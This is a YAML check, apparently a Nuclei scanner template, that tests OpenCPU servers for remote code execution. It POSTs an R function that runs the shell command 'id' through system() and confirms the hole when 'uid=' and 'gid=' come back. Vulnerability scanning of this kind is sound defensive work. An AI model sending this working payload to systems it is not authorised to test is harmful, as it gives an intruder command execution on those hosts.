43 lines
844 B
YAML
43 lines
844 B
YAML
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id: opencpu-rce
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info:
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name: OpenCPU RCE
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author: wa1tf0rme
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severity: critical
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description: |
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Checks for RCE in OpenCPU instance
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reference:
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- https://pulsesecurity.co.nz/articles/R-Shells
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- https://github.com/opencpu/opencpu/
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tags: rce,opencpu,oss
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/ocpu/library/base/R/do.call/json"
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body: |
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what=function(x){ return(system(paste('id'), intern %3d T))}&args={}
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headers:
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Content-Type: application/x-www-form-urlencoded
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max-redirects: 2
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redirects: true
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matchers-condition: and
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matchers:
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- type: word
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words:
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- uid=
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- gid=
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condition: and
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- type: status
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status:
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- 201
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extractors:
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- type: regex
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group: 1
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regex:
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- \(([a-z-]+)\)
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